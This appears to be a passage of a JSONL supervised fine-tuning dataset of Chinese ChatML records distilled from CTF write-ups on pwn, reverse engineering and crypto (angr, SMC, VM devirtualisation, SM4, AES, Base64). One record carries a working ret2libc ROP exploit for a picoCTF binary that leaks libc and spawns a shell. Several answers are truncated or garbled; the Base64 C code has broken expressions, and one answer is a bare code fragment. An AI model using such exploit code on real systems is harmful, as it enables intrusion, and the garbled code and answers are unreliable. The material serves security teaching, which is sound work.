"record_family": "sft_chatml", "record_type": "section_explanation", "section": "OpenSSL", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "fdf3f94312ac8de9", "source_split": "train", "split": "train", "split_group_key": "5ce14d7f82b875bee0551538", "tags": ["reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-892f3dbb4426ff93a5c2", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“futureheap”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“futureheap”。\n关联知识点：\n- 35 的 glibc，存在 UAF 漏洞。\n- 程序存在沙箱保护。\n- from pwn import *\n- def dbg(c=0):\n- gdb.attach(io, c)\n代码片段：\n```\nArch:       amd64-64-little\n    RELRO:      Full RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        PIE enabled\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::84fb5c577d6feec9", "original_line": 1017, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "futureheap", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "84fb5c577d6feec9", "source_split": "train", "split": "train", "split_group_key": "c0a4b1f46eb11c4197e892ce", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8992ae684e9b6deb553e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“NtQueryInformationProcess”？请用《反调试》中的内容回答。", "role": "user"}, {"content": "1. // 查询ProcessDebugPort(0x7)\n2. DWORD_PTR debugPort = 0;\n3. status = NtQueryInformationProcess(\n4. GetCurrentProcess(),\n5. ProcessDebugPort,\n6. &debugPort,", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::dc82c0acc1e80711", "original_line": 101, "original_split": "validation", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "NtQueryInformationProcess", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "dc82c0acc1e80711", "source_split": "validation", "split": "train", "split_group_key": "b787e755cccc317d6e42d0ed", "tags": ["reverse", "ctf-method"], "title": "反调试", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8a5062c2313371ca43b9", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《AES》中“逆向分析”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《AES》的“逆向分析”。\n语言/类型：c\n关联知识点：\n- 密钥长度为 16/24/32 字节\n- 分组长度为 16 字节\n- IV 长度为 16 字节\n- 输出长度对齐到 16 字节倍数\n- S Box 常量特征\n代码片段：\n```c\nunsigned char S[256] = {\n        0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,\n        0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,\n        0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,\n        0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,\n        0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,\n        0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,\n        0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,\n        0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,\n        0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,\n        0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,\n        0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,\n        0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,\n        0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,\n        0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,\n        0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,\n        0x8C, 0\n...\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::4fab982c374daa74", "original_line": 681, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "逆向分析", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "4fab982c374daa74", "source_split": "train", "split": "train", "split_group_key": "1c8d2ff5879b46aad9f5d3ab", "tags": ["reverse", "crypto"], "title": "AES", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8a67af91b54808f6c86e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“picoctf2018rop chain”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“picoctf2018rop chain”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"./libc.so.6\")\n\nrdi=0x0000000000400733\nret=0x00000000004004d1\n\npayload=b'a'*28+p32(elf.plt.puts)+p32(elf.sym.main)+p32(elf.got.puts)\nr()\nsl(payload)\naddr=u32(r(4))\nlibc=LibcSearcher(\"puts\",addr)\nbase=addr-libc.dump(\"puts\")\nsys=libc.dump(\"system\")+base\nsh=base+libc.dump(\"str_bin_sh\")\n\npayload=b'a'*28+p32(sys)+p32(elf.sym.main)+p32(sh)\nr()\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::5b9b965bf545ea38", "original_line": 795, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "picoctf2018rop chain", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "5b9b965bf545ea38", "source_split": "train", "split": "train", "split_group_key": "eb0fd2c8dbd5db99032ee13c", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8a6a19efa0bbc070fb5a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pyc：pyc文件》中“创建及使用”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pyc：pyc文件》的“创建及使用”。\n语言/类型：python\n关联知识点：\n- pyc 文件是 python 在编译 py 文件过程中出现的主要中间过程文件，是一种二进制文件，是一种bytecode。\n- 我们可以通过 py_compile 模块来生成 pyc 文件，或者通过 python -m test.py 命令来生成 pyc 文件：\n- 两种操作都会在当前目录下新建一个 `__pycache__` 目录，其中存放着 test.cpython-版本号.pyc。\n- 如果有一个现成的pyc 文件，如何导入它。\n- 先写个`test.py`\n代码片段：\n```python\nfrom py_compile import *\ncompile(\"test.py\")\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::76d40c541af2fa77", "original_line": 989, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "创建及使用", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "76d40c541af2fa77", "source_split": "train", "split": "train", "split_group_key": "cc2a83d34359c73abc3636d0", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8aac0cce6272b7f9ea01", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“更高效的 state 执行管理”？请用《Angr：Angr符号执行》中的内容回答。", "role": "user"}, {"content": "1. `state.step()`​ 只能执行一个基本块，如果想连续执行，就需要手动添加循环，并且管理路径，十分麻烦。\n2. 为了解决这个问题，angr 中使用 Simulation Managers (simgr) 来管理 state，使用更加高级的路径执行策略、搜索策略等。\n3. 使用 Project 提供的工厂函数` proj.factory.simulation_manager`​ 就能从一个 state 创建 simgr。\n4. simgr 将管理的 state 按照不同类型分类，并存入对应的 stash 列表：\n5. `simgr.active`​ ：活跃 state 列表，simgr 每次单步执行，会执行 active 中所有的 state。\n6. `simgr.deadended`​：当状态因为某种原因无法继续执行时，它会被放入 `deadended`​，这种情况可能包括没有更多有效的指令、所有后继状态的不可满足性（unsat），或者无效的指令指针。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::58f9b1d4603205c1", "original_line": 692, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "更高效的 state 执行管理", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "58f9b1d4603205c1", "source_split": "train", "split": "train", "split_group_key": "23638ca8ce3cd699cbe251f9", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8ac2af3242c381e1196a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《SMC自修改代码》的“实现”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。", "role": "user"}, {"content": "出处：SMC自修改代码 / 实现（第 2 段）\n关键词：val、快捷键、addr、idc、range、get_bytes、ord、patch_byte、Shift、0x404060\n蒸馏要点：\n- addr = 0x404060\n- for i in range(0x35):\n- val = idc.get_bytes(addr + i, 1)\n- val = ord(val)\n- val ^= 0xAA\n- idc.patch_byte(addr + i, val)\n可用于训练的标准回答：\naddr = 0x404060\nfor i in range(0x35):\n\tval = idc.get_bytes(addr + i, 1)\n\tval = ord(val)\n\tval ^= 0xAA\n\tidc.patch_byte(addr + i, val)\n```\n\n快捷键`Shift+F2`打开运行脚本代码窗口，选择 Python。\n\n然后将代码复制进去运行即可。\n\n之后就是定义代码定义函数，然后再进行反编译了。\n\n同样，反编译成功。\n\n总之这两种方法就是哪个方便用哪个。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::66c76ea90e289036", "original_line": 25, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "实现", "source": "SMC自修改代码.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "66c76ea90e289036", "source_split": "test", "split": "train", "split_group_key": "a62ad5d92f72c39dc81a027e", "tags": ["reverse", "crypto", "ctf-method"], "title": "SMC自修改代码", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8b61b3b2835dc2228783", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《暴力破解》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：暴力破解\n领域标签：pwn, reverse, ctf-method\n知识结构：暴力破解 -> 标准输入 -> 系统加载 -> Windows\n关键术语：flag、cracking、include、FLAG_LEN、charset、handle、charset_len、output、LEN、pwd、cmd、exit、printf、subprocess、table、PIPE\n核心要点：\n- 在一些 CTF 题目中我们需要通过爆破才能得到flag，而目标算法又特别复杂解析代码又非常费时间。这时候我们可以通过调用已有代码进行爆破。\n- import subprocess\n- exe_path = './re.exe'\n- table = {}\n- chartable = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}=\"\n- for i in chartable:\n- process = subprocess.Popen(f\"{exe_path} [FLAG_REDACTED]\", stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n- stdout, stderr = process.communicate()\n- out = stdout.decode()\n- if out[8:] == '':", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::6546b13d1e3f13e8", "original_line": 1077, "original_split": "train", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "例题/爆破/暴力破解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "6546b13d1e3f13e8", "source_split": "train", "split": "train", "split_group_key": "32b454682bb75d66288889c4", "tags": ["pwn", "reverse", "ctf-method"], "title": "暴力破解", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8b6a16f58314a097d1ff", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《VM 指令虚拟化》的“解题方法”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：VM 指令虚拟化 / 解题方法（第 1 段）\n关键词：dword_445BD8、byte_4449A0、nop、main、sub_4014F0、vm_init、eip、inc、eip1、BD8\n蒸馏要点：\n- 遇到 VM 类的赛题，我们一般按照如下的步骤来解题：\n- 分析 VM 结构：\n- 有哪些字段（内存、寄存器）\n- 指令长度是否可变\n- 每种指令的含义（伪汇编）\n- VM 的退出条件\n- 编写 python 版解释器，输出伪汇编代码\n可用于训练的标准回答：\n## 解题方法\n\n遇到 VM 类的赛题，我们一般按照如下的步骤来解题：\n\n1. 分析 VM 结构：\n   1. 结构体大小\n   2. 有哪些字段（内存、寄存器）\n2. 分析指令集\n   1. 指令长度是否可变\n   2. 每种指令的构成\n   3. 每种指令的含义（伪汇编）\n   4. VM 的退出条件\n3. 编写 python 版解释器，输出伪汇编代码\n4. 阅读伪代码，分析程序流程，写出去虚拟化的原始代码\n5. 书写解题脚本\n\n>2020GKCTF EzMachine\n\n反编译后就发现了互补跳转花指令，将其去除。\n\n接着找到`main`函数：\n\n跟进`sub_4014F0`分析：\n\n做了一些内存分配和初始化什么的，应该是 VM 的初始化部分。我们可以通过快捷键`n`将函数重命名为`vm_init`方便分析。\n\n分析`main`函数下半部分逻辑发现通过`dword_445BD8`从`byte_4449A0`中取值，那么`dword_445BD8`应该是虚拟的`eip`而`byte_4449A0`应该就是 opcode。我们通过 ida 对它们重命名一下。\n\n分析 handler：\n\n- 0\n\n`inc`将`eip1`加 1，然后返回。跟`nop`指令差不多，我们可以将其重命名为`nop`。\n\n- 1\n\n依次逐个分析，写出对应的解释器。\n\n- 解释器", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::e3312cb812512e50", "original_line": 711, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "解题方法", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "e3312cb812512e50", "source_split": "train", "split": "train", "split_group_key": "8df952d0169436c09a74da99", "tags": ["reverse", "ctf-method"], "title": "VM 指令虚拟化", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8c4a8c83a18aca9f43db", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《SMC自修改代码》的“动态解密法”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：SMC自修改代码 / 动态解密法（第 1 段）\n关键词：encrypt、SMC、add、as_long、mprotect、scanf、ida、for、F5、__Z7encryptPc\n蒸馏要点：\n- 例题：2024 Newstar SMC\n- 拿到附件，程序为 Linux 下的 ELF 文件，ida 反编译分析代码逻辑。\n- 一眼丁真，发现程序调用了`mprotect`修改`encrypt`函数内存权限，判断可能存在 SMC。\n- 然后程序通过`scanf`函数向变量`s`中输入字符串，长度要求必须为 28 字节。\n- 之后的代码逻辑很明显就是通过循环异或对`encrypt`函数进行解密了。\n- 这里我们对照着`encrypt`函数的情况来查看一下。\n- 很明显`encrypt`函数的汇编代码都是有问题的，这就是进行过加密的函数。\n可用于训练的标准回答：\n### 动态解密法\n\n>例题：2024 Newstar SMC\n\n- 分析\n\n拿到附件，程序为 Linux 下的 ELF 文件，ida 反编译分析代码逻辑。\n\n一眼丁真，发现程序调用了`mprotect`修改`encrypt`函数内存权限，判断可能存在 SMC。\n\n然后程序通过`scanf`函数向变量`s`中输入字符串，长度要求必须为 28 字节。\n\n之后的代码逻辑很明显就是通过循环异或对`encrypt`函数进行解密了。\n\n这里我们对照着`encrypt`函数的情况来查看一下。\n\n很明显`encrypt`函数的汇编代码都是有问题的，这就是进行过加密的函数。\n\n接下来程序会通过上面的`for`循环逻辑对每字节进行异或解密。\n\n然后就是通过`encrypt`函数判断输入是否正确了。\n\n这里我们可以通过动态解密法来破解 SMC。\n\n在比较输入处打一个断点，然后动态调试让程序运行起来，这样可以直接让程序执行完 SMC 代码。\n\n运行完之后我们进入`encrypt`函数查看代码。\n\n可以看到代码仍然是乱序的。\n\n我们首先在`encrypt`函数处按快捷键`u`将其取消定义，然后再按快捷键`c`将其解释为代码，然后再按快捷键`p`将其解释为函数。\n\n然后即可`F5`反编译，反编译后我们就可以看到`encrypt`函数的代码逻辑了。\n\n可以看到是一段非常复杂的等式，我们直接通过 z3 来进行求解。\n\n- exp\n\n```python\nfrom z3 import *\nimport struct\n\ns=z3.Solver()\n\nv2,v3,v4,v5,v6,v7,v8=Ints(\"v2 v3 v4 v5 v6 v7 v8\")\n\ns.add(5 * (v3 + v2) + 4 * v4 + 6 * v5 + v6 + 9 * v8 + 2 * v7 == 0xD5CC7D4FF)\ns.add(4 * v8 + 3 * v5 + 6 * v4 + 10 * v3 + 9 * v2 + 9 * v7 + 3 * v6 == 0x102335844B)\ns.add(9 * v6 + 4 *...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::5315abfefcfeed0d", "original_line": 766, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "动态解密法", "source": "SMC自修改代码.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "5315abfefcfeed0d", "source_split": "train", "split": "train", "split_group_key": "ef5de0daffb93406f137bc17", "tags": ["pwn", "reverse", "crypto", "ctf-method"], "title": "SMC自修改代码", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8c4e3bb9b23a32252dd3", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“2024 MoeCTF sm4”？请用《SM4 算法》中的内容回答。", "role": "user"}, {"content": "1. ida逆向分析，输入到`v5`，然后将其传参给`encode_fun` ，48 应该是加密长度。\n2. `encode_fun`和`decode_fun`类型为`_int64`，但是并没有变量接收返回值，所以我们将其类型改为`void`。\n3. 这里的`v4`应该就是密文。\n4. 经过加密的输出与其进行了比较。\n5. 由于这里存在解密函数，所以我们可以通过修改解密函数解密的内容为密文进行解密。\n6. 在`decode_fun`处打一个断点，然后调试运行，向程序输入48个字符占位。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::60094aa7f78f22d0", "original_line": 694, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "2024 MoeCTF sm4", "source": "SM4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "60094aa7f78f22d0", "source_split": "train", "split": "train", "split_group_key": "c50863b75687684185452746", "tags": ["reverse", "crypto", "ctf-method"], "title": "SM4 算法", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8cc1b6aef2ff845fc528", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Base64》中“代码实现”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Base64》的“代码实现”。\n语言/类型：c\n代码片段：\n```c\n//定义一个常量指针指向一个常量字符串\nconst char * const table=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\n\n//data是用于指向需要编码的常量数据的指针\n//base64指针指向一块内存用于存储编码后的basse64字符串\n//length是输入数据的长度\nchar * encode( const unsigned char * data, char * base64, int length )\n{\n    //用于遍历输入数据和base64字符\n    int i, j;\n\n    //用于存储当前处理的字符\n    unsigned char current;\n\n    //循环遍历输入数据，每次处理3个字节\n    for ( i = 0, j = 0 ; i > 2) ;\n\n        //与0x3f进行按位与操作，取字节前6位\n\t\t//0x3f=00111111\n        current &= (unsigned char)0x3F;\n\n        //使用编码表数组将结果映射为base64字符，并将结果存储在输出指针中\n        base64[j++] = table[(int)current];\n\n        //将第一个字节左移4位，与0x30按位与，取其后2位\n\t    //0x30=00110000\n        current = ( (unsigned char)(data[i] = length )\n        {\n            base64[j++] = table[(int)current];\n            base64[j++] = '=';\n            base64[j++] = '=';\n            break;\n        }\n\n        //第二个字节右移4位，取其前4位，与之前第一个字节后两位合并\n        //00110000\n        //或\n        //00001111\n        current |= ( (unsigned char)(data[i + 1] >> 4) ) & ( (unsigned char) 0x0F );\n\n        //将结果映射到base64编码表，并存储到返回指针\n        base64[j++] = table[(int)current];\n\n        //将第二个字节左移2位，与0x3c按位与取其后四位\n        //00111100\n        current = ( (unsigned char)(data[i + 1] = length )\n        {\n            base64[j++] = table[(int)current];\n            base64[j++] = '=';\n            break;\n        }\n\n\t\t//将第三个字节右移6位，取其前2位，与之前的结果合并\n        current |= ( (unsigned char)(data[i + 2] >> 6) ) & ( (unsigned char) 0x03 );\n\n        //将结果映射到编码表，并存储到返回指针\n        base64[j++] = table[(int)current];\n\n        //将第三个字节与0x3f进行按位与操作，取其后六位\n        current = ( (unsigned char)data[i + 2\n...\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::228222ee6a1909cd", "original_line": 737, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "代码实现", "source": "Base64.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "228222ee6a1909cd", "source_split": "train", "split": "train", "split_group_key": "6df2868320b9944568b4ebd5", "tags": ["crypto"], "title": "Base64", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
